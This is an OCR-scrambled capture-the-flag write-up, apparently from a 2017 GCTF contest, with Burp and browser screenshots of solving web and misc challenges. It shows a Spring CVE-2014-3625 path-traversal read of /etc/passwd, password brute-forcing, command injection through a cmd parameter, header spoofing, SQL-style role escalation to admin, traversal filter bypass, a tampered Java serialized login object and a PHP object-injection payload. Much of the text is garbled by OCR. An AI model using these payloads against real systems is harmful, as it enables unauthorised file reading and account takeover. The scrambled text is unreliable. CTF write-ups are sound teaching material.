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# How to fix this vulnerability

Users of affected Spring versions should upgrade to the latest version:
» Users of 3.2.x should upgrade to 3.2.12 or later
» Users of 4.0.x should upgrade to 4.0.8 or later
» Usersof4.1.xshould upgrade to 4.1.2 or later

# Classification

CWE CWE-22

CVE CVE-2014-3625

CVSS Base score: 5.3 — CVS5:3.0/AVIN/AC:L/PR:N/ULEN/S:U/C:L/I:N/AN
Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: Low
Integrity: None
Availability: None

# Web References

e (CVE-2014-3625 Directory Traversal in Spring Framework
¢ Directory traversal with static resource handling (CVE-2014-3625)



RIRE—evelwili, ERIHZ, HEARH
https://github.com/ilmila/springcss-cve-2014-3625/blob/master/stealfile.sh

W=H~ &Cookies™ J CS5~ [ JFE~ EEARY @MuEE~ EEETEET

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/shin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
1p:x:4:7:1p:/var/spool/1pd:/shin/nologin
sync:x:5:0:sync:/sbhin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbhin/nologin
news:x:9:13:news:/usr/lib/news:/shin/nologin
uucp:x:10:14:uucp: /var/spool/uucppublic:/shin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbhin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nolo
cron:x:16:16:cron:/var/spool/cron:/shin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/at jobs:/shin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbhin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbhin/nologin
games:x:35:35:games: /usr/games:/sbhin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/shin/nologin

vpopmail :x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP: /var/empty:/sbin/nologin
smmsp:x:209:209: smmsp: /var/spool/mqueue:/shin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin

nobody: x:65534:65534:nobody:/:/sbin/nologin
flag:x:1000:1000:Linux User,,, :/home/flag:/etc/flag

K Hiflag

@ Load URL | http://218.2.197.232:18015/spring-css/resources/file:/etc/flag
% split URL

’ Execute

[ ] Enable Post data [_] Enable Referrer
@z=m~> XcCookiesv £ Cssv [J=m~y @EE~ @REES~ Qe SRy F @ik
GCTF {dh839442402t5874}
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https://github.com/ilmila/springcss-cve-2014-3625/blob/master/stealfile.sh
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# Y € > D= mmz& HIML css B4 DOM P&  Cookles v
@ | Cookies ~ idiERE - Bl (E=ZFEHE=F cookie) -~

E=id Y BE

| HE

| EREA

161 7AYEESS IS B AR

B4 |admin ‘
B |e \
IIFED : | \

CUSIBRIANS WS
==

13z

| B | i HAmE
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Request | Payload | Status | Error | Timeout | Length v | Comment
595 wjsddslh 200 L] L] 1568
0 200 | | 1564
3 12345678 200 O] 0 1564
4 1234 200 | | 1564
6 12345 200 O] 0 1564
8 pussy 200 | [] 1564
1 password 200 O [] 1564
10 football 200 | | 1564
11 letmein 200 O [] 1564
2 123456 200 | | 1564

Request | Response 1

J Raw | Headers | Hex |

HTTP/1.1 200 QK
Server: nginx

Date: Thu, 15 Jun 2017 13:42:31 GNT
Content-Type: text/htnl; charset=UTF-8

Cormection: close
¥-Powered-By: PHP/5. 6. 27

Set—Cookie: PHPSESSID=8chTal8fifiudahlh331ainTs0; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache—Control: no—store, no—cache, nust-revalidate, post-check=0, pre-check=0

Pragna: no—cache
Content—Length: 1195

GCTF {Qb8HR4pCuScMqexTSwPT7QZub}) <htnl »
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XA RN L, RIGNESALE curlflag.php 2, XEHSEAER flag.php BINHNE
LA tab GEid, BE < geid

& Load URL | http://218.2.197.232:18006/?cmd=%0acat%09
& split URL

' Execute

[ ] Enable Post data [_] Enable Referrer
@=m~ AcCookiesv 2 CSs+ ==~ @EL~ OFRsE~ Qathesr Jindy J a5 ALY W=z

curl
cat flag. phpYep, key is here,But u cant lock in here!
{?php
error reporting (E ERROR & "E NOTICE) ;
function makeflag() {
Skey = "GCTF {ADFAFADSFASFZVASDFADV} ”;
return $key:
}
SFLAG = makeflag();

2>

<html>

<head>

{meta http—equiv="Content-Type” content="text/html; charset=utf-8">
<titleriZiZEMAH </ title>

</head>

@ Lload URL | http://218.2.197.232:18006/?cmd=%0acat <
& split URL

* Execute

[ ] Enable Post data [_] Enable Referrer
@z=m~ AcCookies¥ # CsSv [I=m~ @WEAK~ ORAEE~ Q= Aimcr FFie ATS

curl
cat<{flag. phpYep, key is here,But u cant look in here!
{?php
error reporting(E ERROR & “E NOTICE) :
function makeflag() {
$key = "GCTF {ADFAFADSFASFZVASDFADV} " :
return $key;
}
$FLAG = makeflag() ;

P>
<html>
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login




7ZdYe4HbULSXpAP}

Forbidden

T2 ForbiddenT [

Forbidden

You don't have permission to access on this server.

Apache/2.4 (CentOS) DAV/2 Server at www.topsec.com Port 80

AR

I—=HaFAflr. —>X/body></html>



I I ASHL

X-Forwarded-For:localhost

. L 1

. L L L

GET / HTTF/1.1

Host: 218.2.197.232:18002

User—Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; rv:53.0) Gecko/20100101
Firefox/53.0

Accept: text/htnl, application/xhtml+xnl, application/xml;q=0. 9, */*;q=0. 8
Accept-Language: zh—Cl, zh;q=0. 8, en-1US; g=0. 3, en; q=0. 3

Accept-Encoding: gzip, deflate

X-Forwarded-For:localhost

Cookie: PHPSESSID=TpbngtgSmlT2gsn4cpopubbvjs

Comnection: close

Upgrade-Insecure-Requests: 1

Cache—Control: nax-age=0

e, EE A

Host: www.topsec.com

e e |

I

X-Powered-By: PHP/G. 6. 27 i
Content—Length: 303

<script rdocument. oncontextmenu=function() {return false;}</script>
<title>403 Forbidden</title><hl Forbidden</hl><p>¥You don’ t have
permission to access on this server. {/p>hr>Caddress *Apache/2. 4 (Cent0S)
DAV/2 Server at www. topsec. com Port 80</address>

T e Il

GET / HTTP/1.1

Host: wwv. topsec. con

User—Agent: Nozilla/5.0 (Windows NT 10.0; ¥Winf4; x64; rv:33.0) Gecko/20100101
Firefox/53.0

Accept: text/htnl, application/zhtnl+znl, application/xnl;q=0.9, #/%; q=0. 8
Ahccept-Language: zh—CH, zh;q=0. &, en-US; q=0. 5, en; g=0. 3

Accept-Encoding: gzip, deflate

E-Forwarded-For:localhost

Cockie: PHPSESSID=TpbngtginlTZgsndcpopubby js

Comnection: close

Upgrade-Insecure—Requests: 1

Cache—Control : max—age=0

e

"L

X-Powered-By: PHP/5. 6. 27
Content-Length: 324

<scriptrdecument. oncontextmenu=function{) {return false;}</script>
<title>403 Ferbidden</title><hl Forbidden</hl><p>You don’ t have
permission to access on this server. </prihr><address *Apache/2. 4 (Cent0S)
DAV/2 Server at www. topsec.com Port 80</address>

(=K M




e, ANk

Referer:www.baidu.com

= L . = L .
GET / HTTF/1.1 A X-Powered-By: PHF/5. 6. 27
Host: www. topsec. com r Content—Length: 313
Referer:www. baidu. con
User—Agent: Mozilla/5. 0 (Windows NT 10.0; Win64, x84 rv:53.0) Gecko/20100101 <script rdocument. oncontextmenu=function() {return false;}</script>
Firefox/53.0 <title>403 Forbidden</title><hl *Forbidden</hl ><p>You don’ t have
Accept: text/html, application/xhtnl+xnl, application/xnl;q=0.9,/*; ¢=0.8 permission to access on this server. {/prdhr><address *Apache/2. 4 (CentQS)
Accept-Language: zhCl, zh; g=0. 8, en-US; g=0. 3, en; q=0. 3 DAV/2 Server at www. topsec. com Port 80</address>
Accept-Encoding: gzip, deflate
X-Forwarded-For:localhost
Cockie: PHPSESSID=Tpbngtg5nl 72qsndcpopubbyvjs
Comnection: close
Upgrade-Insecure—Requests: 1
Cache—Control: max—age=0
I—Hii >
b
o o o
Raw | Params | Headers | Hex Raw | Headers | Hex
GET / HTTF/1.1 : X-Fowered-By: FHF/5. 6. 27

Host: www. topsec. com

Referer:www. baidu. con

User—Agent: Mozilla/s. 0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecke/20100101
Firefox/53.0

Accept: text/html, application/xhtml+xnl, application/xml;g=0.9, */*;q=0. 8
Aecept—Language: zh—CH, zh; g=0. 8, enUS; ¢=0. 5, en; g=0. 3

Accept-Encoding: gzip, deflate

X-Forwarded-For:localhost

X-Requested-With: XMLHttpRequest

Cookie: PHPSESSID=TpbngtgimlT2qsndcpopubbyv s

Commection: close

Upgrade-Insecure—Requests: 1

Cache—Control: max—age=0

Content-Length: 309

<script >document. oncontextmenu=function() {return false;}</script>
<title>403 Forbidden</title><hl *Forbidden</hl><p>You don’ t have
permission to access on this server. </p><hrrdaddressrApache/2. 4 (Cent0S)
DAV/2 Server at www. topsec. com Port 80¢/address>




4 L 1 1 - 1 1 I
GET / HTTP/1.1 L X Powered By: PHP/5. 6.27
Host: www. topsec. com r Content-Length: 308
Referer:www. baidu. con
User—hgent: Mozilla/5.0 (compatible; NSIE 4.0;Windews NT 10.0;) <seript>document. oncontextmenu=function() {return false;}</script>
Accept: text/htnl, application/xhtnl+sml, application/=mnl: q=0.9,*/*;q=0. 8 <title>403 Forbidden</title><hl *Forbidden</hl »<p>¥ou don’ t have
Aecept-Language: zh-ClN, zh;q=0. 8, en-US;q=0. 5, en; q=0. 3 permission to access on this server. /p>¢hr><address *Apache/2. 4 {Cent0S)
Accept—FEncoding: gzip, deflate DAV/2 Server at www. topsec.com Port 80</address>
X-Forwarded-For:localhest
X-Requested-With: ZNLHttpRequest
Cookie: PHPSESSID=TpbngtginlT2qsndcpopubby is
Cormection: close
Upgrade-Insecure—Requests: 1
Cache—Control: max—age=0
-
b1
o o o
3J Raw [ Params ] Headers I Hex l J Raw [ Headers ] Hex l
{GET / HTTP/1.1 & X-Powered-By: PHP/5.6.27

Host: www. topsec. con

Referer:www. baidu. con

User-Agent: Mozilla/5.0 (compatible: MSIE 4.0;Windows NT 10.0;.NET CLR 8.1;)
Aecept: text/hinl, application/zhtnl+xnl, application/=nl;q=0. 9, ®/4;q=0. 8
Accept-Language: zh-CN, zh: q=0. 8, en-0U5; ¢=0. 3, en: ¢g=0. 3

|iccept-Encoding: gzip, deflate

¥-Forvarded-For:localhost

|¥-Requested-With: XMLHttpRequest

Cookie: PHPSESSID=Tphngtgoml 72gsndcpopubby js

{Comnection: clese

|Upgrade-Insecure—Requests: 1

\Cache-Control: max—age=0

Content-Length: 315

<scriptrdocument. cncontextmemi=function() {return false;}</script>
<title>403 Forbidden</title><hl Forbidden</hi><p>You don’ t have
permission to access on this server. </p>dhr><address *Apache/2. 4 (Cent03)
DAV/2 Server at www. topsec. com Port 80¢/address>




Raw | Params | Headers | Hex

Raw | Headers | Hex

GET / HITP/1.1

Host: www. topsec. com

Referer:www. baidu. com

User—Agent: Mozilla/3. 0 (compatible; MSIE 4.0;Windows NT 10.0;.NET CLR &.1;)
Aeceept: text/html, application/zhtnl+xnl, application/xml; g=0. 9, #*/#*; q=0. 8
Accept-Language: de-TE, zh;

Accept—Encoding: gzip, deflate

X-Forwarded-For:lecalhost

X-Requested-With: XMLHttpRequest

Cookie: PHPSESSID=Tphngtg5mlT2qsndcpopubbv j5

Comnection: close

Upgrade-Insecure-Requests: 1

Cache—Control: max—age=0

R WA Flogin 4

Set—Cookie: login=4e6a39324d545a6adeTadd324e513d3d
Content-Length: 294

<script document. oncontextmenu=function() {return false;}</script>
<title>403 Forbidden</title><hl *Forbidden</hl><p>You don’ t have
permission to access on this server. </pr<hr><address Apache/2. 4 (Cent0S)
DAV/2 Server at www. topsec.com Port 80</address>




Cookie: login=4e7a51334d6a63314e6a553d

J Haw ‘ Harams | Headers | Hex |

J Haw | Heaaers ‘ Hex ‘ HIML | HRenaer ‘

\GET / HTTP/1.1

Host: www. topsec. com

Referer:www. baidu. con

User—Agent: Mozilla/5.0 (compatible; MSIE 4.0;Windows NT 10.0;.NET CLR 5.1;)
Accept: text/html, application/shtnl+xnl, application/xnl: q=0. 9, %/ *; q=0. 8
‘Accept*Language: de-DE, zh;

Acecept-Encoding: gzip, deflate

X-Forwarded-For:localhost

X-Requested-¥ith: XMLHttpRequest

Cockie: login=4e7a51334d6a63314e6a553d

Comection: close

Upgrade—Insecure—Requests: 1

Cache—Control: maz-age=0

HAEEA
5 R VR R

<h2 class="setup—formtitle mh-3">

WA YRR NE M N, A fEf3Fkey<{script>console. log("uid:500

o

.

2015.10. 16

Bl e s -
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{/h2>

RIE SR BECEIA T VF

Raw | Params | Headers | Hex

Set—Cookie: login=4e6a39324d545a6adeTadd324e513d3d &
Content-Length: 309

e

<script>document. oncontextmenu=function() {return false;}</script>
<title>403 Forbidden</title><hl Forbiddend/hl><p>You don’ t have
permission to access on this server. </p><hr><address *Apache/2. 4 (Cent0S)
DAV/2 Server at www. topsec. com Port 80</address>

1==GCTF {Dt24FbREWY JuTP8ekQHEFknK} ——>

role: ”)<{/seript>

Yeuid=0Hrole=adminfif i e P G 6T JH .

Raw | Headers | Hex

20ST /edit.php HTTP/1.1

Jost: 218.2.197.232:18014

Jser—Agent: Mozilla/5.0 (Windows NT 10.0; ¥Win4; x64; rv:53.0) Gecko/20100101
Firefox/53.0

tecept: text/htnl, application/zhtnl+znl, application/xml: q=0. 9, #/#%;q=0. 8
tccept-Language: zh-CH, zh;q=0. 8, en-US; ¢=0. 5, en; g=0. 3

tccept-Encoding: gzip, deflate

Zontent-Type: application/z—www—form—urlencoded

Zontent-Length: 145

Referer: http://218.2.197.232:18014/index. php

Zockie: PHPSESSID=TpbngtginlT2gsndcpopubbyid

{-Forvarded-For: 127.0.0.1

Cormection: close

Jpgrade—Insecure—Requests: 1

qrame=1&enall=856ebel12fTe02cch40gctf. cnéphone=11111111111&nobile=11111111111&add
ress=11111111111&birth=19000000&gender=4%E7%94%B7&ui d=0&rol e=adnin

HITP/1.1 200 OK

Server: nginx

Date: Thu, 15 Jun 2017 15:47:55 GHT

Content-Type: text/htnl; charset=UTF-8&

Cormectien: close

X-Powered-By: PHE/5. 6. 27

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache—Control: no—store, no—cache, must-revalidate, post—check=0, pre—check=0
Pragna: no—cache

Content-Length: 83

T

<seriptralert( A HFEHEMrele! *) ;window. loecation="index. php”; </script
>
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J Raw l Params [ Headers ] Hex \

J Raw | Headers | Hex |

POST /edit.php HTTP/L.1 A HITP/1.1 200 QK
Host: 218.2.197.232:13014 i Server: nginx
User—Agent: Mozilla/5.0 (Windews NT 10.0; Win64;, x64; rv:53.0) Gecko/20100101 Date: Thu, 15 Jun 2017 15:50:38 GNT
Firefox/53.0 Content-Type: text/htnl; charset=UTF-8
Accept: text/html, application/xhtml+xnl, application/xml;q=0.9,+*/*;q=0.8 Commection: close
Accept-Language: zh-CH, zh;g=0. 8, en-US; q=0. 3, en; ¢=0. 3 E-Powered-By: PHP/5. 6. 27
Accept-Encoding: gzip, deflate Expires: Thu, 19 Nov 1981 08:52:00 GHT
Content-Type: application/x—www-forn—urlencoded Cache—Contrel: no-store, no-cache, must-revalidate, post—check=0, pre-check=0
Content-Length: 145 Pragma: no-cache
Referer: http://218.2.197. 232:18014/index. php Content-Length: 34
Cookie: PHPSESSID="Tpbngtgimnl T2gsndcpopubbvjs
i-Forwarded-Fer: 127.0.0.1 Fkilidnysql_escape_stringfi®
Commection: close
Upgrade-Insecure—Requests: 1
name=1&enail=856ehel12fTe02cc%40gctf. cnéphone=11111111111&nchile=11111111111&add
Tess=11111111111&birth=19000000&gender=4%E7%94%E78&uid=0" role=adnin

Eyusa nespenes

Raw | Params | Headers | Hex Raw | Headers | Hex
POST /fedit.php HITP/1.1 : HTTP/1.1 200 OK
Host: 218.2.197.232:18014 Server: nginx
User—Agent: Mozilla/5.0 (Windews NT 10.0; Winf4; x64; rv:53.0) Gecko/20100101 Date: Thu, 15 Jun 2017 15:51:09 GNT
Firefox/53.0 Content-Type: text/html; charset=UTF-&
Accept: text/html, application/zhtnl+xnl, application/xnl;q=0. 9, #/%; q=0. & Connection: close
Accept-Language: zhClN, zh; q=0. 8, en-US; q=0. 5, en; ¢=0. 3 %-Powered-By: PHP/S. 6. 27
Accept-Encoding: gzip, deflate Expires: Thu, 19 Nov 1981 08:32:00 GNT
Content-Type: application/z—www—forn—urlencoded Cache—Control: no-store, no—cache, must-revalidate, post-check=0, pre-check=0
Content—Length: 149 Pragma: no-cache
Referer: http://218.2.197.232:18014/index. php Content-Length: 25
Cookie: PHPSESSID=TphngtgimnlT2asndcpopubhbyv s
¥-Forwarded-For: 127.0.0.1 3K : and
Comection: close
Upgrade-Insecure-Requests: 1
nane=1&enall=856ebel12fTel2cc%40gctf. cnéphone=11111111111&mnobile=11111111111&add
ress=11111111111&birth=19000000&gender=4%E7%94%B7&uid=0 and role=adnin
HIEM ,
J Raw | Params | Headers ‘ Hex | J Raw ‘ Headers | Hex | HTML ‘ Render ‘
{POST /edit.php HTTF/1.1 : HTTP/1.1 200 OK

Host: 218.2.197.232:18014

User—Agent: Mozilla/5.0 (Windews NT 10.0: Win64; x64; rv:53.0) Gecke/20100101
Firefox/53. 0

Accept: text/html, application/shtmnl+xnl, application/znl;q=0. 9, #/* ¢=0.8
Acecept-Language: zh—CN, zh;q=0. 8, en-US;q=0. 3, en; q=0. 3

|hccept—Encoding: gzip, deflate

Content-Type: application/z—www—forn—urlencoded

Content-Length: 145

|Referer: http://218.2.197.232:18014/index. php

iCookie: PHPSESSID=Tpbngteg5nl 7 2qsndcpopubbv is

E-Forwarded-For: 127.0.0.1

Comnection: close

tUpgrade-Insecure—Requests: 1

name=1&enail=836ehel12fTe02cc%40gctf. cnfphone=11111111111&mobile=11111111111&add
ress=11111111111&birth=19000000&gender=%E 7% 94%B7&uid=0, role=adnin

Server: nginx

Date: Thu, 15 Tun 2017 15:52:12 GMT

Content-Type: text/html; charset=UTF-8

Comnection: close

E-Powered-By: PHP/5. 6. 27

Expires: Thu, 19 Nov 1981 08:52:00 GNT
Cache—Control: no-store, no—cache, must-revalidate
Pragma: no—cache

Content-Length: 131

post—check=0, pre-check=0

<scriptralert (decodelRICemponent (" Inknown%20column%20%27adnin%27%20in%20
%27field%201ist%27°)) ;window. location="index. php”;</script>




A 1613k

J Raw I Params I Headers I Hex } J RawT Headers I Hex [ HTML I Render ]

POST /edit.php HITP/1.1 A HTTF/1.1 200 OK

Host: 218.2.197.232:18014 r Server: nginx

User—hgent: Nozilla/5.0 (Vindows NT 10.0; Win64: x64; rv:33.0) Gecko/20100101 Date: Thu, 15 Jun 2017 13:33:12 GNT

Firefox/53.0 Content-Type: text/html; charset=UTF-2

Accept: text/htnl, application/shtnl+xnl, application/=ml;q=0.9, +/*;q=0.8 Commection: close

Accept-Language: zh—CN, zh;q=0. 8, en-US; ¢=0. 5, en; q=0. 3 -Powered-By: PHF/5.6.27

Accept-FEncoding: gzip, deflate Expires: Thu, 19 Nov 1981 08:52:00 GNT

Content-Type: application/z—www—forn—urlencoded CacheControl: ne—store, no—cache, must—revalidate, post-check=0, pre—check=0
Content-Length: 152 Pragma: no—cache

Referer: http://218.2.197.232:18014/index. php Content-Length: 93

Cookie: PHPSESSID=TpbngtginlT2gsndcpopubbvis

X-Forwarded-For: 127.0.0.1 <scriptralert{decodelRIConponent (" HE6%HSS%HIORES%HSA%OF )) ;window. location=
Connection: close “index. php”; </script>

Upgrade-Insecure-Requests: 1

nane=1&enail=856ehell12{7e02cch40gctf. cnéphone=11111111111&nobile=11111111111&add

ress=11111111111&birth=19000000&gender="%F 7%94%BT&ui d=0, role=0x61646d696e

D)

GCTFH{9CtyJLHMxkjLUs6qfUM5Cmrb}

2

B A
B PERG AT AT IF) — A3

@ Lload URL | http://218.2.197.232:18008/a/down.php?p=./1.txt

§  split URL

’ Execute

[ ] Enable Post data [_] Enable Referrer
@z~ AcCookiesv 2 Cssv =@~ @AK~ @ORIES~ =ty i

hello



in] flag.php & Iiwaf
HF XA . adyg T, FrbAa] DUm I ax o4

@l Load URL
§ split URL

b Execute

http://218.2.197.232:18008/a/down.php?p=...//fl./ag.php

[ ] Enable Post data

[ ] Enable Referrer

@x=m~ AcCookies¥ 2 CSsv [~ @EL~ OREEE~- Qe Jimndy 050

<?php

error reporting (E ERROR & "E NOTICE) :

Skey = “GCTF {drthSDFSDGFSdsfhfeg} ”;
2>

JavaFr 714k,
%

Raw | Params | Headers | Hex

Raw | Headers | Hex

GET /ctfobj/index. jspPname=aduin HTTP/1.1

Host: 218.2.197.232:18005

User—Agent: Wozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101
Firefox/53.0

Accept: text/htnl, application/shtnl+snl, application/=ml;q=0.9,#*/%; q=0. 8
Accept-Language: zh—CN, zh;q=0. 8, en-US:; q=0. 3, en; g=0. 3

Accept-Encoding: gzip, deflate

Referer: http://218.2.197.232:18005/ctfobj/

Cookle: JSESSIONID=035DDD6650E1D6GBBF 4EF690FBCEL TEDA
PHPSESSID=6e93b0s328n763h3dagle jvrel

Comnectlon: close

Upgrade-Insecure-Requests: 1

I

HITP/1.1 302 Found

Server: nginx

Date: Fri, 16 Jun 2017 05:21:41 GNT

Content-Type: text/html;charset=I130-8859-1

Content-Length: 0

Comection: close

Location:

http://218.2.197. 232:18005/ctfobj/Login?oh ject=rO0ABENvAAD jh20uY SRuLnlNuL1VzZXIAL
A4AA MevvRI AAkwAAn 1 kdAATTGphduEvhGFuZy9TbnR 1 Z2Vy0 0w ABGEhbYVOAB THanF 2YS9sYWonL 1N 0c
nluZzt4cHNyABF qVXZhLmzhbmcuSWo0ZWdl chLioKT3gY c4AgABSQAFdnFsdWV4cgAQanF 2Y S5sYWanL
k51bWJT1lcoaslROL1IOCLAgAAeHALAAPodAAFY TR taf 4=




base64 fiiht— T Kk I &javal /7 51t

00000000h : | . ..sr..com.ctf.
00000010h : :

00000020h : ; ..L. ..Ljava/
00000030h: ; lang/Integer;L..
00000040h: ; namet..Ljava/lan
00000050h : ; g/String;xpsr..j

00000060h : ; ava.lang.Integer
0000070 ; .#H5 JT8...I..va
00000080h : ; luexr..java.lang
00000090h : ; .Numberff]? . Eji?

P00P0Rasdh: ..Xp...58¢. .admin

%3] — Tjavalfi /5, Hhn—Aid, RIAHSE

00000000 : ; ..Sr..com.ctf.
©0000010h: ;

©0000020h: ; ..L..idt..Ljava/
©0000030h: ; lang/Integer;lL..
00000e0R40h: ; namet..Ljava/lan
©0000050h: ; g/String;xpsr..j

00000060h: ; ava.lang.Integer
000000706h: ; .$5 JT8...I..va
©0000080h: ; luexr..java.lang
0000R90h: s .Numberff]? . B>
000000abh: 5. ..Xp...8%. .admin |




B0

00000000h: AC
00000010h: 63
00000020h: €0 ; ..L..idt..Ljava/
00000030h: 6C ; lang/Integer;lL..
00000040h: 6E ; hamet..Ljava/lan
00000050h: 67 ; g/String;xpsr..j

00000060h: 61 ; ava.lang.Integer
00000070h: 12 ; .$8 JT8...I..va
00000080h: 6C ; luexr..java.lang
00000090h: 2E ; -Numberff]? . Er?

©00000adh: €0 «.Xp....t..admin

CPNG R

@ Load URL |[http://218.2.197.232:18005/ctfobj/LoginZobject=rO0ABXNyAATjb20UY3RMLMNULIVZZXIAAAAAA

0 splitURL | AKOIAMARWAAMIKIAATTGphAmEYbGFUZySJbnRIZ2VyOOWABGSHEWNVOABIMamF 2YSsYWSnLiNOcmluZ214cHNyABFGYXZhLmxhbmcuSWSOZWdIchLioKT3gYc4AGABS QAF dmPsdWVACgAQamF 2YSSSYWSNLKS 1bWllcoaslROLIOCLAGAAGHAAAA
@ 2 ABAAAFYWRtaW4=

» Execute

[ Enable Post data  [] Enable Referrer
@z~ &Cookiesw 2 Cssv (=2~ @EA~ QEEES~ @2ty Aoy Soane ATSY MESFRE %5 O « O
GCTF {NsyTascaUR73uKd7e5YY}

phpx /7 514t
JERPERE ]

] Knowledge Hase
= ({3 Site Structure

D/ oK
'_iil-____ index.php

'_d query.php OK
ticket=1 OK
[# query.php~
www Variation 1 for user-agent oK
wwe grem] OK
1 [&] Cookies

7 10453 query.php FIACHY



index.php




Jotr—T, XAHERTMTOPAN $this->username =='aaaaaaaaaaaaaaaaa’' & $this->password ==
'bbbbbbbbbbbbbbbbbb ' ELFMA{E 20585 55 1Y L AL

H T TOPBT £ 154 token . ticket, JFHAMSE, 45i&—f)/FHIM, WA, TOPBIY $this->attr LIUNTOPA T4 .
MTOPCHIN i R L1t wakeup() EPWT, FI RIS J@ A ErME R T H B SHE s mT Ageid
payload




FIF src 18, 17 Asession, #RJ51ilH query.php H¥iflag

@l Load URL |http://218.2.197.232:18017/2src=|0:4:"TOPC":3:{s:3:"0bj";N;s:4:"attr"; 0:4:"TOPB":2:{s:3:"0bj ";N;s:4:"attr";5:84:"0:4:"TOPA " 4:fs:5: "token";N;s:6: "ticket"; R:2;5:8: "username";i:0;s:8:"password";i:0;}";}}

& spliture

] Execute

[] Enable Post data  [] Enable Referrer
@=E~ LCookiesw »# CsS+ [A=m~ @B~ ONEES~ EEth Amor Sagr ATE- EESRAE Lnmr O ¢ @

key is:{J)j56M3e26AvvwEgnUZ3S4WZ}

Misc
stage1

H 22 StegSolve s #r

PRAE R R 48

Sk, PRAF R BN D s g 1R R T

7

FHitR A6, L TR, RIUEpyci St




1 Hdef flag():

2 str = [65, 108, 112, 104, 97, 76, 97, 98]
e flag = "°
4 H for i1 in str:

5 - flag += chr (i)

- print flag

flag()

test.pyc

Xt 18 .pyc KR4, A Huncompyle2 /s 4 i A LRI




KILnoptE4, BHE— Fi&e9

: 00_02 00 00 00 40 00 G0 O 73 48 00 00 00 64 OAD

: 00 09 09 09|64 03 00 64 04 00 64 05 00 64 06 00
: 17 5A 00 00 64 07 00 64 08 00 6C 01 00 S5A 91 90

i A A 163E ], A B SR R AT PR, ATRLS —Mestpyzid—F

str =]
str+'b'+ci+d e

str

print str

5%

00 02 00 00 00 40 00 00 00 /3

00 5A 00 00 65 00 00 64 01 00
03 00 17 64 04 00 17 5A 00 @@

RIFFEERIE R 64 00 17 /T 5
AL BB X —AT

00 64 03 00 17 64 04
17 5A 00 00 64 @7 00

06 00
00

64
5A 91

00 17 64 05 00
64 08 ©00'6C 0L

IXFERTE AT LASE R, 37 https://tool.lu/pyc/ ikid

def flag3():
pass
# WARNING: Decompyle incomplete

K I fag3 ek H it 45

00 00 04 00 09 00 00 43 00 00 00
00 00 00 00 009 00 00 64 00 90 64

64 01 00 85 03 00 19 00 00 74 01 90 6A
7C 00 @0 83 01 0O 7D 00 64 02 00 7D @1




RNZ TAFAN 00 FEALFA L, BEHEMBLIA GBS R A]

000002cPh: 00 00 04 PO PO 00 P4 OO 00 00 43 00 00 0O 73 6F ; C...so0
000002doh: 00 00 00 74 00 00 64 00 00 64 00 00 64 01 00 85 5. ilk.codLndlNdul?

ELAIHE https://tool. lu/pyc/ ik, HIACHE

1817 flag3() Hf5flag: flag{126d8f36e2b486075a1781F51f41e144}

reverseMe




AU, SER KA, RAEERRER 161EH], R AKBELMBE L AE

P0a9eOh: 02 01 00 0O 64 00 ©1 00 00 00 03 00 01 01 00 00 ;
P0a9foh: 20 ©3 01 00 00 00 ©3 00 00 01 OC 00 08 00 00 00 ;
PPaakoh: 2A @0 4D 4D 00 00 66 69 78 45 18 07 E1 FF D8 FF ; *.MM..fixE..??

HlR R B E, BEES —MEARNE K

{900Y9 L0198, c0809b [ TodToECTELETTL g5 T

X
=
H#

-

flag{4£7548f93c7bef1dc6a0542cf04e796e)
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